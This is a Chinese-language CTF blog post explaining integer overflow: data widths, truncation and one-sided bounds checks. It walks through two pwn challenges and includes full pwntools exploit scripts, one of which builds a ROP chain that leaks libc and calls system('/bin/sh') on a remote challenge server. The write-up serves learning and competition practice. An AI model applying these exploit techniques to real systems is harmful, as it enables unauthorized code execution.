整数溢出总结 最近遇到个很有意思的题目, 顺便总结下整数溢出吧
谈整数溢出,不谈数据宽度的都是耍流氓, 所以先说下数据宽度
数据宽度 记住圆圈,
数据类型 单位(bit) byte 字节 8 word 字 16 dword 双字 32 qword 四字 64
内存中只存0和1,没有正负数只分,正负数是人为分开的
这里可以看到这些图,很形象的把数据宽度表示出来了,
假设为有符号数, 32位宽度:
圈的右半边便为正数,左半边便为负数
正数最大为0x7fff ffff, 最小为0(数学上不归纳为正数,这里将其包括了) , 负数最大为0xffff ffff , 最小为0x8000 0000
假设无符号数, 32位宽度:
则整个圈都可以用,从0到0xFFFF FFFF
再从标志寄存器OF来说下
溢出标志OF(Overflow Flag) 进位标志表示无符号数运算结果是否超出范围 溢出主要是给有符号运算使用
正+正=正 如果结果是负数,则说明溢出了 负+负=负 如果结果是整数,则说明溢出了 正+负 永远不会溢出 理解那个圈,那个圈挺有用的
这里以8位宽度举例说明
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 1. 无符号,有符号都不溢出 mov al,8 add al,8 2. 无符号溢出,有符号不溢出 mov al,0ff add al,2 无符号超过了,溢出,有符号,-1+2 = 1肯定不溢出 3. 无符号不溢出,有符号溢出 mov al,7f add al,2 有符号,7f和2都是正数,+过后变成负数了,所以溢出了 4. 无符号,有符号都溢出 mov al,0fe add al,80 fe负数,80负数 加起来是正数, 无符号,也溢出了,超过最大的ff了
整数溢出情形 类型转换 1 2 3 4 5 6 7 8 9 10 #include <stdio.h> #include <stdio.h> int main () { long long a; sscanf ("0x7fffffff12345678" , "%x" , &a); printf ("%lx" , a); return 0 ; }
这里我用sscanf替代scanf作为输入,方便测试,这里可以看到, 我们定义了个64位的变量,却用32位的输入,实际情形中应该类似于这样
1 2 3 4 5 6 7 8 9 10 11 #include <stdio.h> #include <stdio.h> int main () { long long a; scanf ("%d" , &a); printf ("%lx" , a); return 0 ; }
实际当然会更复杂,我只是说明类型转换截断的问题
这里的结果应该为12345678, 因为高位的数据被丢弃了,默认以小端存储,取低位
结果也是如此
在后面练习第一道中会体现出来
单向范围限制 1 2 3 4 5 6 7 8 9 10 11 12 13 #include <stdio.h> #include <stdio.h> #include <unistd.h> int main () { int a; char buf[10 ]; scanf ("%d" , &a); if ( a < 0x78 ) read(0 , buf, a); return 0 ; }
这种在ctf里经常出现的一种, 只限制单向范围, 造成了负数绕过,打到溢出的目的,
我们输入-1便可以绕过了
这里可以看到bytes变成很大,这里太大无法输入,编译为32位就可以了
已经溢出了
练习 360-半决赛-pwn2 这道题看着贼简单,打比赛的时候也不会做,细心想了下,我是傻逼,这道题流程很简单
1 2 3 4 5 6 7 8 9 10 int __cdecl main (int argc, const char **argv, const char **envp) { init(*&argc, argv, envp); if ( bypass1() && bypass2() ) system("cat ./flag" ); else puts ("failed!" ); return 0 ; }
过了两个判断就拿到flag了
bypass第一个判断 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 signed __int64 bypass1 () { int v1; int v2; char buf; char s; unsigned __int64 v6; v6 = __readfsqword(0x28 u); memset (&s, 0 , 0x10 uLL); puts ("x: " ); read(0 , &s, 0x10 uLL); puts ("y: " ); read(0 , &buf, 0x10 uLL); if ( strchr (&s, '-' ) || strchr (&buf, '-' ) ) return 0L L; v1 = atoi(&s); v2 = atoi(&buf); if ( v1 > 0x167 || v2 > 0x167 || v1 - v2 != 0x168 ) return 0L L; puts ("level1 success!" ); return 1L L; }
看着很简单,不能输入负数,然后两个数要求小于167,相减又要等于168,常规思路肯定是不行的,想想 -0x1 - (-0x169) = 0x168
这是我第一次做的时候想到的,然后实际上是误打误撞做出来的,做出来后我发觉那会不理解这道题,就重新理了下思路,发觉还是有可以学习的地方的
程序限制了不能输入负数
限制了大小
还有注意一点v1跟v2是int 4字节的,atoi转超过int最大的数值的话,会发生截断,只保留后低四个字节的值 假设输入的是0x7FFFFFFFF 7个F他只会取到后面的0xFFFFFFFF 所以限制输入不能带-号,而实际上内存里存值是只分大小的,所以我存0xFFFFFFFF 按有符号处理的话就是-1
s串跟buf串是相邻的,填满了buf的话,会将s里的值也一起传递过来,一起转成数字,就变成一个比较大的数了
坑点: atoi函数遇到\n会停止,没有遇到就继续。。原来我用sendafter一直不行,坑了我好久
最后我用0x167-(-1)绕过了这个判断 就是输入0x167跟0x7FFFFFFFF,绕过这个判断
bypass第二个判断 1 2 3 4 5 6 7 8 9 10 11 12 13 _BOOL8 bypass2 () { int v1; int v2; unsigned __int64 v3; v3 = __readfsqword(0x28 u); v1 = 0 ; v2 = 0 ; puts ("Please input x and y:" ); __isoc99_scanf("%d %d" , &v1, &v2); return v1 > 1 && v2 > 360 && v1 * v2 == 360 ; }
这个的话,也是利用溢出绕过,说下怎么求溢出的吧,口算也可以的嘞,不过脚本能跑就不动脑了
我要达到的数值是00000168, 为任意数值,反正后4个字节得是0x168,跑一下
1 2 3 4 for i in range(1 ,20 ): print(i, 0x100000168 /float(i))
结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 (1 , 4294967656.0 ) (2 , 2147483828.0 ) (3 , 1431655885.3333333 ) (4 , 1073741914.0 ) (5 , 858993531.2 ) (6 , 715827942.6666666 ) (7 , 613566808.0 ) (8 , 536870957.0 ) (9 , 477218628.4444444 ) (10 , 429496765.6 ) (11 , 390451605.09090906 ) (12 , 357913971.3333333 ) (13 , 330382127.38461536 ) (14 , 306783404.0 ) (15 , 286331177.06666666 ) (16 , 268435478.5 ) (17 , 252645156.2352941 ) (18 , 238609314.2222222 ) (19 , 226050929.2631579 )
我选的要是不带小数的,我看着8吉利就选了他了, 所以输入为8跟536870957
所以最后可以拿到flag了
1 2 3 4 [*] Process './5b7420a5bcdc1da85bccc62dcea4c7b8' stopped with exit code 0 (pid 16098) [DEBUG] Received 0x27 bytes: 'cat: ./flag: No such file or directory\n' cat: ./flag: No such file or directory
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *local = True exe = '5b7420a5bcdc1da85bccc62dcea4c7b8' elf = context.binary = ELF(exe) host = '127.0.0.1' port = 10000 context.log_level = 'debug' libc = elf.libc if local: io = process(exe) else : io = remote(host,port) s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) ru = lambda delim,drop=True : io.recvuntil(delim, drop) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) def exp () : sla("x: \n" , str(0x167 )) sla("y: \n" , str(0x7ffffffff )) sl(str(0x8 ) + " " + str(536870957 )) if __name__ == '__main__' : exp() io.interactive()
buuoj-arr_sun_2016 非常有意思的一道整数溢出, 题目看上去很简单,唯一有可能出错的就是这里
这里注意,她有个判断 v1 > 9 ,这里是明显的有问题的,单向单位限制,
我输入负数便可以绕过了,可这里不能直接绕,还得利用负数的溢出,还记得那个圈吗,那个数据宽度的圈,我们要利用负数来溢出,达到正数的效果
看到这里我们需要的是 ebp+eax*4-0x30这里变成 ebp+4
也就是0x34- eax*4 = 0 所以eax=0xd, 我们的圈,负数在左半边,正数在右半边,他们总的为0xffff ffff + 1 = 0x1000 0000 0
我们这里同时需要高位为0, *4这个可以让我们达到, 0x4 *4 为0 ,0x8也是,这里我们选了0x8,
1 2 >>> hex(0x100000000 -0x8000000d )'0x7ffffff3'
我们利用-0x7fff fff3 就可以变成0x8000 000d 因为整个圈是总的,合起来为0x1000 0000 0
这样就可以覆盖到返回地址了
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 from pwn import *local = 0 link = 'node3.buuoj.cn:25724' host,port = map(str.strip, link.split(':' )) if link != '' else ("" ,0 ) context.log_level = 'debug' context.terminal = ['mate-terminal' ,'--geometry=94x60--10-26' ,'--hide-menubar' , '-x' ,'sh' ,'-c' ,] exe = './arr_sun_2016' context.binary = exe elf = ELF(exe) libc = elf.libc if local: io = process(exe) else : io = remote(host,port) s = lambda data : io.send(str(data)) sa = lambda delim,data : io.sendafter(str(delim), str(data)) sl = lambda data : io.sendline(str(data)) sla = lambda delim,data : io.sendlineafter(str(delim), str(data)) r = lambda numb=4096 : io.recv(numb) rl = lambda : io.recvline().strip() ru = lambda delim,drop=True : io.recvuntil(delim, drop) rg = lambda regex : io.recvregex(regex) rp = lambda timeout=1 : io.recvrepeat(timeout) uu32 = lambda data : u32(data.ljust(4 , '\x00' )) uu64 = lambda data : u64(data.ljust(8 , '\x00' )) lg = lambda s,addr : io.success('\033[1;31;40m%20s--> 0x%x\033[0m' %(s,addr)) ga = lambda job="" : gdb.attach(io, job) if local else 0 ia = lambda : io.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(io.pid)).readlines()[1 ], 16 ) gdb.attach(io,'b *{}' .format(hex(text_base+addr))) else : gdb.attach(io,"b *{}" .format(hex(addr))) def get_one_gadget (filename) : try : import subprocess except Exception as e: print("subprocess not install" ) exit(0 ) return map(int, subprocess.check_output(['one_gadget' , '--raw' , filename]).split(' ' )) def get_index (offset) : return -(0x100000000 -0x80000000 -(0x34 /4 )-offset) def rop (addr) : length = len(addr) for i in range(length): sla("index\n" , get_index(i)) sla("value\n" , addr[i]) for i in range(10 -length): sla("index\n" , 0 ) sla("value\n" , 0 ) ru("0 0 0 0 0 0 0 0 0 0 " ) def exp (host, rce=False) : if rce: one_gadget = get_one_gadget(libc.path) sla("you? \n" , "NoOne" ) rop([ elf.plt['puts' ], 0x8048592 , elf.got['__libc_start_main' ], ]) leak_addr = uu32(r(4 )) try : from LibcSearcher import * except Exception as e: print("LibcSearcher not install" ) exit(0 ) obj = LibcSearcher("__libc_start_main" ,leak_addr) libc_base = leak_addr - obj.dump("__libc_start_main" ) system_addr = libc_base + obj.dump("system" ) malloc_hook = libc_base + obj.dump("__malloc_hook" ) free_hook = libc_base + obj.dump("__free_hook" ) bin_sh_addr = libc_base + obj.dump("str_bin_sh" ) libc_base = leak_addr - libc.sym['__libc_start_main' ] lg("libc" , libc_base) ga("b *0x08048623\nc" ) lg("bin_sh" , bin_sh_addr) rop([ 0x8048430 , 0x8048592 , -(0x100000000 -bin_sh_addr) ]) ia() if __name__ == '__main__' : exp(host,)
总结 整数溢出危害很大,由整数溢出可以达到堆溢出,栈溢出 在金额限制部分更是如此, 我出过一个赌钱游戏,就是利用负数赌钱拿到flag的 本文作者 :NoOne本文地址 : https://noonegroup.xyz/posts/d909e7a0/ 版权声明 :转载请注明出处!